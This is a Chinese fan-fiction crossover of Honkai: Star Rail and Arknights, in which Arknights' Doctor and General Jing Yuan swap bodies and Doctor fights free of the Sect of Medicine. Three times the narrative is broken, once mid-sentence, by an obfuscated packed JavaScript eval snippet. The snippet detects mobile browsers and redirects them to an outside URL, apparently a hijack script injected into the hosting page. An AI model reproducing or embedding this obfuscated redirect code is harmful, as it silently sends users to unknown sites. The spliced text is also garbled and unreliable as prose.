《[崩铁/明日方舟]当神策将军和博士互穿》 1. 互换身体 (接文案) 1 在景元的帮助下我搞清楚了自己的处境——嘿嘿,被药王秘传包围哩!干! 他倒是自在,我一想到我跟他解释清楚了他的现状,他就可以在凯尔希的凝视下回去休息了,而我还在要一大堆敌人眼皮子底下用着不熟悉的身体周旋我就觉得:“干啊!我想辞职。” [?辞什么职?]我的声音在我的脑海中响起,听他说我在他脑中的声音也是他自己的声音,好神奇......不对!不是感慨这个的时候! [从药王秘传的试验对象这个职位上辞职,]我看着自己满格的理智值由衷地感受到一阵焦虑,[你都不知道我落下了多少东西,等一下,你的罗浮失去了它的将军,你不急吗?]虽然我逃班翘工作还摸鱼,但我是个好博士,好博士每天都会算着时间及时清空理智后再下线的。 然后再算着时间理智值满了再上线清一下。 你看我当年打游戏的时候都这么勤快!他一个工作狂他不急吗? [嗯……]好吧他确实不急,他还有心情,[罗浮不会离开了我就不转了,而且关于我们的现状,目前我们一点头绪都没有。当务之急不是考虑回去的事,而是让你脱离眼前的困境。] 我抽了一下嘴角,[我的困境就是这个“现状”把我硬控住了,而我的工作还在不断呈指数倍增加,凯尔希怎么说?] [凯尔希医生吗?她让你不用担心,]景元通过转述我的话成功在罗德岛获得了一个吉祥物的身份,虽然自由活动的权利有所缩减,但至少安全性得到了保证,[她和那位罗德岛的领袖已经接手了你的多数工作,我的工作就是帮助你脱困。哦对了。] 他的声音带了些笑意,[那位领袖让我转告你,“最近泰拉的国际形势并没有之前那么严峻了,我们可以在没有博士的时候建立罗德岛,也不会因为博士短暂的出差就停止运行。因为我知道博士一直在。”] 呜呜呜我的女儿!我的兔兔!我的好阿米娅! 还有靠谱的老猫!太后!我的凯尔希! 说实话,有了她们这样的保证后我确实是松了口气,主要是如果真有非我不可的工作老猫绝对不会是这个语气,她虽然谜语人了点,但是只是有时候对一些陈年旧事的真相守口如瓶,面对我们共同的危机时她可是很坦诚的。比如说让我一定要好好活下去。 对了,[哦!脱困我自己来就好了,你帮我锻炼一下身体吧!]有这么好的代打机会我当然要狠狠把握住! [可以啊,但是你也得帮我锻炼。]可恶,知道了,不会让你的腹肌消失的行了吧! 以及,[你不介意我用一下你的身份吧?] [不介意。] [也不介意我直接暴露我不是你吧?] [你也藏不住吧?] 先把防御条拉满,取得授权再说,实在不行我就小苹果。 等等。 他是不是回的太快了!他是不是刚刚嘲讽我了?! [咳,]他真的笑出来了,[你的心理活动太活跃了,而且他们给我看过一些你的影像,你的动作和表情也很形象,真让你演我,你是演不出来的。] 是的,毕竟穿越前我也只是个清澈愚蠢的刚毕业一年的大学生,出去工作都会让人怀疑我老板雇佣童工的程度——指老有人觉得我应该是高中的年纪,该去上学而不是出来谈单子。 而且我本来人设就是失忆了嘛,凯尔希都没说什么,我演不了任何人,虽然偶尔戏精但是真让我去扮演谁也太难了。 比如说我现在就在折磨这群追求丰饶的癫子们:“如果你们实在研究不出来什么可以给我看看嘛,”我托着腮看这群人对着我的实验结果的单子琢磨,我好奇很久了好吧,“实在不行就承认自己没有搞科研的天赋吧?” [不好意思,我一醒来他们就已经把你身体给掳走了,又注射了对我来说比较陌生的药剂,所以我对于保护你的身体比较有心无力……]我在心里对景元合十拜了拜,[回头我会好好养身体的!]这个我最擅长了! [不,]他的语气也生动起来,我感觉我要幻视他头疼扶额的样子了,[最重要的是你为什么要主动激怒他们?] 2 景元在罗德岛落地的第一时间就被这个身体的主人捕捉到了,他最开始还以为是自己阴沟翻船死去后穿越到其他世界占用了其他人的身体。毕竟他也不是没看过那些书肆里的幻想文学,有些写的好的可以拿来看看放松一下脑子。 紧接着这位身体的主人就立刻将其认知中的“现状”共享给了他,景元听到他的解释时愣了又愣,甚至没有及时回复阿米娅焦急地询问。年幼的女孩儿瞬间发现了博士的异常,她按捺住自己的焦心,站在原地等待博士对自己的呼唤做出回应。 但博士没有回应,内芯儿成了景元的博士二号正在被脑子里机关枪一样输出的字句攻击,老博还嗓门儿忒大,给景元震得脑瓜子嗡嗡的。他揉了揉太阳穴,努力摁下一声苦笑,想了想,挑拣着听了脑海里那个声音的建议,抬头对来人笑了一下:“我没事……” 他解释的话还没出口,浅绿色制服的猫耳女人就光速闪现到他面前,然后将他摁在医务室床上开始进行第二轮身体检查。后来他知道这就是凯尔希,罗德岛的实权人物之一,也是医疗部的总负责人,还是博士最信任的人之一。 但此时的他只觉得自己可能挑了个错误的时机做出了错误的反应,他听着脑海里的那个自己的声音嘲笑着,[你这么笑是不行的,我从来不这么笑。刚才如果是我,我……咳,我可能已经被挂舰桥上了……总之!此话不提!你配合她稍微再深入检查一下啦,有些源石技艺是可以改变形貌的,她也是怕有人伪装成我混入。] [……如果你说的是真,你又是怎么跨了一个世界与我搭上话的?]这是景元最想不通的地方,他已尝试过,虽然也能模糊地感应到神君,但以往那种清晰地,可以召唤到身后与自己作战的联接感非常模糊。 他想象不出,这个身体虚弱的博士是怎么做到的,或者他也有什么特殊能力? 博士本人倒是挺坦诚的,他直接“小苹果”:[我重新连接你一下,你感受一下,或许之后你也能学会?毕竟你在用我的身体,这具身体可是个天才,即使你只是借用一下它的大脑也能有这种感觉——我用了一个天才的身体。] 话声未落,景元明显地感受到与之前的不同,一些杂音从脑海中消失,这本该是“轻松”“明快”的感觉,但他此时竟然有些怅然。他一愣,突然意识到这是这具身体的感受。或许那人真的是这身体的主人——是的,他连这个都怀疑过。 突然,他的眼前出现一个菱形的图标,它像是被点击了一下,向内收缩一瞬,又立刻四散开。 【正在尝试与罗德岛产生神经连接】 【0……60……85……99……】 他看到视野中有从双侧向内延伸的进度条,还有莫名识得的文字在展示进度,在其达到满值时——奇怪,他怎么知道100为满进度的?——纷乱却暗含秩序的杂音在脑中再次响起,熟悉的声音也随之而来:[怎么样?你看到了什么?] [咦?]不等景元有所回复,博士再次发出惊叹,[好像清晰一些了?这就是关机重启的概念性法则吧……咳,我瞎说的。总之我好像和你的链接更深一些了,罗德岛,博士上线!] 景元用赞叹的语气在脑中说道:[很神奇,]他描述了自己刚才看到的景象,一边安静配合着医护人士的检查动作,[这是你的能力吗?] [不是吧,我就是很普通的人类,没有源石技艺也没有特殊能力,]因为是自己的声音,所以景元能够很顺利地从语气中听出他没有撒谎,这个博士简直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664725|172948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么说什么,[你能听懂我们的语言吧?我能听懂你们那边的语言,太神奇了,虽然我知道“联觉信标”这种东西,但如果你也能听懂我们的语言,那么我们两个之间的链接本身就可以充当联觉信标了。这真是……] “博士,”凯尔希此刻突然出声,“你在吗?” 她面前的prts弹出一个文本框,一个光标在其中闪烁,很快,一串文字弹出:【是我啦是我啦,帮我照顾一下我的身体和身体内的那位客人,我会自己想办法回来的!】 景元猛地抬头:[你能这样操控你们的终端?] [对,因为是神经连接,所以相当于我用你的大脑连接上我的大脑,然后再借由你现在正在用的这个身体当中继站连接上你脚下的舰船。]博士絮絮叨叨地跟他解释着,而景元很明显地看到那屏幕上自动运行着工作条目,基建、干员招募、干员培养、资源采集、贸易与加工…… 所以他大费周折就是为了加班是吗?景元不合时宜地想到,他没主动说出来,但也听到了博士大声的抽泣:[你以为我想吗?!工作实在是很多啊!我要是试两次不成功也能安心的安慰自己,不是我不努力实在是客观条件不允许。可是怎么就连接上了呢——这不显得一边被人锁起来一边还要远程办公一边还要努力保护你的身体的我,特,别,的,冤,种,吗?!] 他年纪一定不算大,景元挑高眉毛,有点想笑,他这半天能插嘴的地方寥寥无几,这博士话实在是多:“他正在我脑中说话,”他不再去理那个开始说话就停不下来的家伙,虽然这人提供的信息确实全面细致,但景元能感受出面前几人的焦急,或许他再不回话这些人就要在不伤这个身体的情况下制服他了,“在下景元,诸位怎么称呼?” 最开始在这儿的那位灰发医疗干员已经离开了,跟过来的人中有一位紫色头发长角的姑娘,她歪头小声和兔耳朵小姑娘说:“真的不是博士诶,博士从来不这么说话,这人风格有点像炎国人……” “芙蓉。”凯尔希一眼扫过去,紫发医疗干员立刻闭嘴。 此时她才沉静地转过头去,真正意义上与景元进行第一次交涉:“我是凯尔希,这位是阿米娅,是你正身处的这艘舰船的领导者,”她抿了一下嘴,“……我不知道博士跟你说过什么,但是为了你和他的身体的安全着想,请不要随意走动,如果有需要向和芙蓉与安塞尔提出。” [这是为了从某些干员的手里保护你,]对面的博士倒是悠哉悠哉的,如果景元没有通过他们的神经连接隐约感受到他正在接受药王秘传的洗脑,或许他就信了他的悠然自得,[有些干员虽然也很喜欢我啦,但是他们对“喜爱”的表达对正常人来说不太好接受。你还是别尝试啦。] [有多难以接受?比你正在经受的更难以接受吗?]景元一针见血的指出。 博士一愣,他恍然:[原来你能感应到啊,没事,你身体强度高,我精神强度高,除了稍微有点疼以外其他其实都还好。我会找机会脱离的。] 虽然这一切发生的莫名其妙,景元看了眼面前毫不掩饰自己的担忧的人们,又感应到神经连接传来的明了干脆的善意,他微微垂下眼,思索了片刻,然后果断地踏出自己的那一步:“凯尔希医生,你们能够保证我的安全,但我很惭愧,我并不能保证这位博士在我那里的安全。” 【我自己可以保证!】prts工作的界面一顿,文本框再次瞬间弹出,还发了一堆感叹号,【景元元!你在干嘛啊!】 凯尔希按住屏幕,随意挑了个监控摄像头横了一眼,她手下的文本框瞬间不动了:“他在回应你的善意,所以让他说。” [呜咕……算了,你们聊吧,我去看看这群家伙有什么破绽去……]真的有被感动到但是不是很想在别人脑子里哭的博士灰溜溜的挂了个“忙碌中”的标识下线了,当然,没断联,他还要工作呢。 2. 我音乐会喊药王慈怀 3 作为诚意,景元把我可能的处境完全的复述给了凯尔希他们,我知道他们已经开始做尝试,试图通过我开辟的神经连接线路摸过来,但……这个能力的原理我到目前为止都没能搞懂。我虽然会用这些能力,但也仅限于会用,就像我每次的指挥都是靠“开挂”来保持胜率的。 我穿越过来的时候睁眼看到的第一个是阿米娅,第二个就是永远停留在我视野右上角的理智值,然后游戏内的所有功能都逐渐在我的眼中展开。 在我接受到足够的信息后,所有地图与战术点会在我的眼中扭曲成从前玩过的那个游戏,而……最让我觉得离谱的是,我真的可以通过消耗个位数的理智值一遍遍模拟战场,最后用大额理智值去固定一个自己最满意的战役。 可貌似他们并没有意识到这样的经过,在其他人的认知中,我每次都是一遍过,神算子。啧,总觉得这不是特殊能力能解释的通的了…… 总之我也尝试了一下,能否通过消耗理智值来将“现实”固定在“没有互换身体”上,理论可行,但数值不够。我自回最高理智值只有135,全部消耗完也只够我把现实固定在“在成功消除失忆的将军敌意前暂停融入丰饶力量的实验”这样的结果上。 我尽力了,天知道我看到他们咵的一下剌开我的胳膊,然后库库往里塞莫名其妙的东西时发出了怎样的爆鸣,景元在另一头直接用我身体摔了个跤——再吐槽一次,我身体也太脆了。 我在心里扁着嘴——想什么呢,我对将军很尊敬的好吧,我才不会用他的脸做这种表情——很是委屈:[不是刻意激怒他们,你看他们敢不敢生气就完了。] 4 景元能感受到博士的委屈,然后他就听到了后面那句话。景元:……你还委屈上了? 他有些无奈,又有些想笑,但听着对面隐隐约约传来的那些药王秘传的人隐忍的声音又觉得,至于吗? 可能是因为博士在面对他时太过随和,以至于景元对他的警惕也只是礼节性的警惕(?),大概也就“出于习惯与自己的地位带来的危险性而必要的被动技能”那种程度。 他本应该惶惶不可终日,孤身一人在完全陌生的世界,甚至身体都不是自己的。但这位东道主以一种完全的开放包容姿态将两个人强行绑定,景元作为领袖式人物原本应当对此反感。 作为罗浮的一把手将军,他的秘密很多,他的大脑中有太多不可为人所知的东西,他的情绪和心绪应当不可捉摸,才能对外产生威慑力——威不可测才是最高威慑。 但博士对等的将自己的情绪波动、心理活动乃至于一部分感官,想办法开放给了景元,这是他的能力,在两者的位置中博士掌握了主动权,然后他手动抹平了这样的差别。如此一来,景元喝了口茶水——他一边在心里对比着罗浮的茶汤和泰拉的茶水,一边重新审视目前的情况——如此一来,他便能通过博士转述以外的途径来观测他的世界。 他感激于博士的通情达理,但也对这靠谱又抽象的新朋友感到头疼。景元把面前的蛋糕往阿米娅的面前推了推,褐发的女孩弯着眼对熟悉却陌生的博士笑:“将军,这是你的。” [你在跟我家小姑娘喝下午茶吗?]博士一心多用地在偷师药王秘传的同时还关注着景元的动作。 景元像一个700岁的老大爷一样悠然品茶:“我答应了博士,要帮他锻炼身体,这个蛋糕归你了。今天的糖分摄入量已经达标了。” 博士猛地睁大眼睛:[喂喂!我也想尝尝啊!好歹就吃一口!我在这里都没什么能吃的!你都不知道他们做的饭有多离谱,主打一个活着就行,我不是很理解这种凑合活但要活很久的执念。他们都不吃美食,他们活着的意义真浅薄。] 在另一边的景元吃东西,他也是能跟着蹭两口味道的,就像他在这里找东西,景元可以模糊地共享部分视野,在心里指挥哪些是目前急需的情报。 景元:[等他们按耐不住,要把你放出去混淆视听后,我可以给你推荐一些罗浮的街头小吃。] 阿米娅接过盘子,歪着头道谢:“谢谢将军,博士在那边还好吗?” “……他说尚可,”景元复述着博士的话,他失笑,“我们在寻找突破口,或许过不了多久他便可以摆脱现在的环境了。” “……”阿米娅的耳朵向下耷拉了一点,她有些难过,但很快又振作了起来,“将军,请帮我转告博士,虽然我们远隔千里,但是我一定会尽我所能去做我能做的,如果,哪怕有一丝的可能对他有所帮助,我都会去做。请不要担心我们,更不要害怕,我们一定会带他回来。”她眼神坚毅,蓝色的眼睛和景元对视着,这让景元恍惚了一下。 他想起了另一个稍小一点的孩子,一时间金色的眼睛和蓝色的眼睛缓缓重合,但他很快回过神,不一样的,景元心想,彦卿尚是璞玉,而阿米娅已然成为合格的领导者。 但她还是个孩子,他承认她的地位,但也不会忘记她的年龄,景元微笑着安抚她:“我已经转达,他的回答……他说已经挨个儿发送到你们各自的终端了,”景元是知道这位博士每日即便是闭上了眼也在通过神经连接在prts中工作,但……给罗德岛旗下几乎每个现役干员都写了一份安排计划?“……他给每个人都写了。” 景元震撼,景元不理解。 阿米娅茫然了一瞬,然后她放在桌上的终端就开始叮叮咚咚地响了起来,她迟疑了一下,打开机子,一条又一条消息迅速的划过,一条刚弹出来,另一条就把它给顶上去了。阿米娅:“……博士!要好好休息啊!” 景元:“……我会尽力看管他的。”只能说尽力,他突然有一瞬间共情了丹鼎司的那些医师,当你面对一个不在乎自己身体又不听话的家伙时,你也会脑袋大的。 5 沥林是药王秘传的一任普通莳者,他太过普通,以至于没有被同意参与任何重要任务,但小人物有自己的生存方式,他打听得知上头从毁灭手中获得了暗杀罗浮将军的方法。就在他为之振奋欣喜的时候,他们没有成功,外界甚至没有将军失踪的风声,更别提景元遇刺身亡的消息了。 但过了几天,他就在药王秘传的一处秘密基地中见到了本应“失踪”的将军。 白发金瞳的将军穿着简陋的单衣,没有武器,但也没有镣铐,安然行走在这处建筑物中,甚至对窗外的景色没有分出去半分注意力。他只是专注地看着手中的那沓纸,时不时和身后陪同的莳者说些什么。 当沥林路过将军时,白发男人终于分出了一眼给这个路人,沥林就是这个时候偷偷打量过去的。他们不幸地对视了,只一眼,他就深深地陷在那双失去所有温度的金瞳中,沥林感觉自己像是被某种不可测的巨兽锁定了,生物本能中纂刻着的恐惧缓缓爬上他的脊骨。 但将军很快就不再看他,似乎是判定他没有威胁,于是对他失去了兴趣。沥林冒着冷汗,对上级和将军微微欠身鞠躬,然后匆匆离去。 只是无意间打量了一下路过的人的博士有点茫然,他问自己身后的莳者:“他怎么了?” 深知这位失忆后性情大变的将军绝非好惹的,负责给这个从其他世界偷来的将军洗脑的莳者迅速打消他的疑虑:“没什么,或许是因为他的级别太低,在我的面前不大自在,毕竟药王秘传内部等级分明。” 博士眨眨眼,也没说自己信没信,只是拿着战利品回了自己的房间。他在这里的进度可喜可贺,仅用半个月的时间就获得了魁首的认可,并在她的半威胁下“勉强”答应了她的要求。 6 [替代这个世界的景元将军,]我坐在床上,思索片刻,然后缓缓躺下,[哇,这下更复杂了。] 景元也很头疼:[我竟是没想到……这里虽也有罗浮与药王秘传,但也有一个景元。所以这里并非我的世界。] 昂呢,我思绪转了几转就明白了,在发挥我的话术和对人心的理解后,我从几个莳者口中翘出了些只言片语。 [他们在某个势力的帮助下拥有了不是他们能够拥有的技术——跨世界交流?真离谱……总之,这群人和你的世界的药王秘传勾搭上了,你的世界的药王秘传不需要一个将军去阻挠他们,这个世界的更有野心,想洗出来一个属于他们自己的将军。] 我迅速整合所有信息。 [在他们相互配合将你转移到这个世界时,可能是我的特殊性——这个以后有机会再讲,机制比较复杂——你并非点对点直接跳跃至这个世界,而是从我们世界,也就是泰拉大陆搭了一个跳板。嗯,然后魂丢我那儿了,身体带着我来这儿了。]想想就觉得好玩儿,我忍不住笑了出来。 虽然药王秘传真的很坏,但这一整个逻辑链盘下来,这也太幽默了。 景元叹了口气,他可能是终于意识到在我出去后他也没办法工作了,他终于开始发愁了:[……那么等出去后,还要辛苦你去亲自判断这个世界的我的可信度了。] 这有什么辛苦的,顺手的事儿,识人用人可是我最拿手的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664726|172948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 7 通过博士的视角观察了这么些天,景元有些庆幸于博士的机智——因为睁眼就给自己加了个失忆的人设,而博士与他确是两人,只有刻意去演才会像一点,所以在确认了“失忆”的真实性后,那些早就准备好的用来击碎神策将军傲骨的手段全都没用上。甚至博士在研究这方面比他们还积极。 [如果你能带着你的身体存在于我的世界,]景元在某次如此点评,[或许你可以尝试让智识的神明为你垂眸。] 他的庆幸并非是庆幸在那里的不是自己,而是这一场针对于他的阴谋并未给无辜之人带来更多的伤害。 也因此,景元自认为对他有一份责任在身,就像博士会选择照顾景元的心情和掌控欲一样。 8 [我本来还思考他们怎么做到,让我替代这里的罗浮将军,]我震撼地看着眼前的场景,[他们真的很牛啊!怪不得有那么大的野心!] 恕我冒昧,第一次在镜子以外的地方看到景元那张伟大的脸,我有点儿激动,当然也是因为第一次和这世界的【景元】面对面,他看到我时受到的震动丝毫不比我轻。 至于我认识的那位,他关注点很奇特:[你可以把他留在这里,我并不是轻易会落入他人陷阱的人,或许他有什么计划,而必要条件就是被扣押在这里。] 我觉得他说的很有道理,但我不想听,所以我猛地回身,拔出我身侧的看守腰间悬挂着的长剑然后挥出,嗯,挡住了:[你看看你看看,我就说这群人没安好心,]一直跟着我的那个莳者就在刚才,突然对我暴起发难,[这是想把我重伤后扔回去,然后让我装作“失忆景元”呀,抄袭我人设是吧?] 抄袭可耻!巨可耻! 景元:[所以你想?] [为什么不能有两个将军呢?反正他们给我吃的用来控制我的药对我无效,我不必非要和他们共进退。]这是真的,据我观察他们强行给我喂食的药对于他们来说是增加魔阴身的毒——当然这群药王秘传把它看做是丰饶的赏赐——但对我来说可以算是理智药的平替。 是的,我满值135的理智值现在已经溢出了,就是不知道这种溢出能不能超过999,我在泰拉的时候从来没试过——每天理智值和理智药都不够用的,根本没有试的机会。 我抬手击退身边的莳者:[我说过要保护好你的身体的,这种莫名其妙的战损还是算了吧,我可不想把时间浪费在修养上。我的时间是很宝贵的,还要琢磨把咱俩各自归位再送回去呢。] [谢谢,注意左后,击退后你可以靠近这个景元。他虽然身受重伤但并非无一战之力,你还不习惯用我的身体战斗,可以等他出击后观察他的动作来学习适应我的身体。]谢谢哥,你真好!虽然你坑你同位体的动作毫不犹豫,但你溺爱我的样子真的很酷! 9 他倒是不知道这些药王秘传已经有这样大的能量,【景元】咽下弥漫在口中的腥气,符玄应该已经带人在来的路上了,但这个药王秘传的据点可能很难剿灭了。他直起身,举起手中的阵刀正要发出最后一击,一个熟悉但不可能的身影出现在他的视线中。 另一个景元,【景元】瞳孔微缩,这个和自己一模一样的人被众莳者簇拥着走了过来,他与他双目对视,突然,这人眨了眨眼,就像人偶被点亮了双眼拥有了灵性。他突然反水了。 “各位,虽然我也不是不能扮演将军啦,但我不是很喜欢这种被人安排的明明白白,然后身受重伤被送回去。我还是比较喜欢掌握话语权,”看上去是自己的实验体,但实验体绝不会有这样的人格,【景元】饶有兴致地看着这出乎意料的人物,而博士还在顶着景元的壳子输出,“我算看明白啦,你们虽然知道怎么把我薅过来,但完全不知道怎么把我送回去。所以……” 他将手中的长剑怼在莳者的颈前,带着笑意说出了这段时间他最常念叨的话:“药王慈怀……你最好信仰坚定到此刻仍旧感念祂的慈怀。” “不!你不能——” 他的求饶——这算求饶吗?——他的话还没说完,喉管就被割开,红色的鲜血泼洒在这人的身上,又有星星点点溅落在博士金瞳的下方。他看起来宛若魔神降临。 10 虽然我是在崩铁音乐会现场带头喊过药王慈怀啦,但那不是刚演奏完《啴喓歌》后喊这个最应景嘛,我也在《雷车动地》后喊过仙舟翾翔呢。 我是博士,搞研究是我的爱好,但也不是什么研究内容都能配的上我的爱好的。 3. 风水轮流转捏! 11 [好耶终于也轮到我扛着别人跑路了哇哈哈哈!!!] 景元憋着笑给博士指路,听着他欢脱的声音通过颠簸的视角去寻找出口:[好,前面左转。你这么扛着他不挡视线吗?] [你眼睛前面的那撮刘海不挡视线吗?]博士才不吃这套,他甚至反问了自己最好奇的问题。 [……挡。]景元最终还是承认了。 [注意左前方有人,出手。] [收到!]博士一手扛着已经半昏迷的【景元】一手拿着他的阵刀,或许他还挺有天赋的?反正在看完【景元】是怎么把这玩意儿使得虎虎生风的之后,博士琢磨了一下就大概知道怎么用了。 景元无奈:[或许你可以再考虑一种可能:我的身体本就有肌肉记忆。] [你让我多美两分钟怎么了?]博士第一刀砍空了,但很快就掌握了技巧,砍空的刀并未收回,反而是沿着轨迹从一种诡异的角度绕了回来,正好用刀背砸晕了两个莳者。 “哥们儿,你一介将军不会事事亲为,甚至没有后勤吧?”博士还是忍不住想吐槽,他见过的老将军也不少了,但冲锋陷阵的见得多了,孤身陷阵还一身狼狈的倒是……好像也挺多的? 但老爷子们多少都带着他们的队伍集体进攻,像这种只见首领不见随军的倒没几个。 “好了,”他背上的【景元】突然动了一动,然后沙哑而熟悉的声音响起,“不用再跑了,我安排的接应来了。” 12 我大松一口气,我也看到那个熟悉的粉头发了,话说当年没get到符玄而且还一心要抽大C输出是我年少轻狂,今天我才晓得符玄的好!亲爱的!有机会我一定补上你的二加一! 不过:“你是怎么被这群人给逼到这种境地的?”剧情走到哪一part了? [你经常被人逼到这种地步吗?]我都要皱眉了,说实话,我这人护短的不行,只要是被我认可的人,无论什么事我都能为他硬插一脚。 所以我确实有点儿生气了。 [嗯……那倒也不至于“经常”,你在生气吗?] [是啊。]是啊,我又不是没心没肺的人,我当然会生气了,好歹咱俩也同患难了将近一个月有了。 【景元】闷笑了一声:“听起来你很熟悉他们?” “熟悉算不上,”我把他放下来,“相处了快一个月了,已经很明白他们智商上的缺陷了。这栋建筑物里,除了他们的魁首其他全是被传销骗进去的笨蛋。” 但就是因为他们都是笨蛋,所以很难让他们灵光起来,让他们明白前途无亮比我一个人杀穿药王秘传还难。 我看着他在符玄的搀扶下勉强支撑起身体,突发奇想:[哇,两个景元耶。] [?] [那我怎么分辨你们两个?叫你景元元?元元?]是的,我就是仗着他够不着我打不到我—— [可以啊,晨绒绒。] !我承认当初起游戏昵称是脸滚键盘打的字母,但是把charon读成晨绒还叠词词是不是有点! [……既然你同意了那我就喊你景元元啦!]我管你这那的,你敢跟我开玩笑我就敢认下来! 13 符玄设想了很多场景,但这绝不包括一个一看就知道是阴谋诡计下诞生的实验体将军扛着他们自己的将军一路杀出来,绝对不包括。 “……将军?”她未免有些手足无措,下意识选择扶起自己这边的将军,但她担忧的眼神也没有离开博士。 他白色的头发上沾染的血色比【景元】还多,身上的伤口也不少,毕竟他那一身单衣没什么防御力,甚至药王秘传追杀到后面基本都在集火他了,都不怎么在乎【景元】的死活。 谁也看不出博士正在心里头抓着正主鬼哭狼嚎,一边噼里啪啦骂人喊疼一边夹带私货分析现状,众人只觉得这药王秘传搞出来的将军看上去似乎也有几分将军的神韵。尤其是在提起阵刀时。 【景元】勉强站直身体,只是多看了两眼但没有要回自己的刀,比起这个他有更关注的问题:“我该怎么称呼你?景元?” “叫我博士就好,”博士头也没回,注意力基本都在上前的云骑身上,“景元不在,他很长一段时间都不会在。” 符玄:啊? 但【景元】却若有所思,他眨眼间就做下决定:“我伤的实在是有些重了,可以请你指挥他们剿灭这个据点吗?” 这倒有点意思,博士回头看了他一眼:“你确定?”他一眼就看出【景元】打的什么主意,所以他直接给出答案,“我风格和你不太一样,如果让我指挥,我需要与他们每个小组直接联系,并且要求令行禁止。” “这你且放心,”【景元】眸色深了深,招手让符玄拿来一个玉兆和一个指挥终端,“云骑听从‘将军’的命令,毫无疑问。” 然后他看着自称博士的这位景元戴上耳机,若有所思地看了他一眼,确认他真的不会开始指挥后就不再多说什么,很是果断的开始下达命令。 正如他所说,他的风格与【景元】完全不同,自称博士的景元将军会将战场划分成一个个区域,并在其中设立不同的战术点,敌人侵袭的路径交叉在不同的战术点中。没人知道他是怎么预测到敌人的路线的,就像没人知道他是怎么知道每个云骑的能力。 最极限的一处,那位云骑差点以为自己要殒命于此,但另一位同僚在关键时刻出现救下了她。 他是怎么知道她的体力极限的? 【景元】神色愈发凝重,就在此时博士已经达到了自己预设的战略目标,他把自己刚刚一直在拄着的阵刀递给【景元】:“目标点已经基本清扫完毕,再深入会触发它的自毁机制。魁首跑的比较快,她现在应该已经撤离到足够远的地方了,我预测过不了多久他们就会手动触发自毁。你还有什么其他目标吗?没有我就下令撤退了。” 他一边说着一边规划出了几个总体的撤退线路,一场战斗指挥的时间足够让他勾画出简略的标准地图,构图之流畅就好像这地图原本就存在于他的脑海中一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664727|172948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没有了,”【景元】果断说道,“让他们尽快撤离。”如果他的判断准确的话。不过任谁看过他的指挥后都不会对他的判断准确性产生怀疑,实在想怀疑也只能犹豫其是否在让里面的人用生命配合他演一场戏。 一场让他成功成为“拯救者”然后打入神策府的戏码。 但这不可能,因为让他指挥是【景元】临时的决定,他想看看这个“景元”能不能担起自己的计划……事实证明,从能力上来说,可以,从风格上来说,悬。 14 我迅速撤了所有靠近爆炸核心的干员,哦,是云骑,但没关系,对我来说就是初始干员小人换了个皮肤,有几位数值和机制还挺有趣的……咳,扯远了,总之虽然是第一次在崩铁世界指挥战斗,但是也能一遍过。 啊,不会以为我用理智值重来了吧?没有哦,和真正的游戏相比,现实还是灵活了很多的。比如我看到的人物数值其实是在我观察到那个人后潜意识自动生成的,所以我时常能看到眼中的小人儿粒绘数值不断变动,那是我在观察到他的发挥后脑中自动调整对他的判断。 地图也是如此,我被圈禁这么久可不是什么都没做的,至少地形我可熟悉了,人员配置也差不多掌握了,虽然没有在泰拉时得心应手,但作为首战也算不错啦。 我扭头看这位景元将军,他接过了后续的处理——果然,说什么身受重伤不能劳作只是借口,但算了,谁让我尊老爱幼呢,我不和七百岁老头计较。 [自从知道我的年龄后,你就很……]景元元在我脑子里笑,但他又能拿我怎么样,哼哼,他可没办法跨过来给我“一个教训”。 我蹭到一个符玄带来的医师身边,还没等我开口请她帮我处理一下身上的伤口她就捂住自己的嘴,然后手忙脚乱地拿出各种药往我身上比划——又想帮我处理又不敢直接上手,一时间连怎么和我说话都不记得了。我温和地向她笑了一下,刚想要安抚她,然后我就眼睁睁看着她眼眶一下子红了,豆大的眼泪珠要掉不掉。 我:“别哭!冷静!咱们先包扎好不好?”我试图用正事转移她的注意力,一只手搭在了她的肩上,我看着那熟悉的红色持明手——当初这个角色出来的时候我还对这手琢磨了好久,她到底是不是带手套了——顺着胳膊往上看,又是一个曾经隔着次元的熟人。 灵砂挂着半永久妆面似的笑容让那普通狐人医师退下了,笑盈盈地牵过我的手:“让刚转正不久的小医师来给将军治疗实在是有些为难她了。” 额,她笑得像是有了新点子的华法琳,这是能说的吗? 天才医疗干员都这样吗? 我只能无奈:“或许吧,我以为我和景元将军的差别大到这样的移情不会发生。” “仔细一看,确实很不同,”灵砂仔细打量了我,手上的动作也没有停过,简单给我把裸露在外面的伤口简单包扎了一下,“剩下的还要等到丹鼎司后细细查看,还不知道他们对您做了什么,需要一个全面的体检才能放心。” 诶?“您”?为什么用敬称? 4. 推测的很好但 15 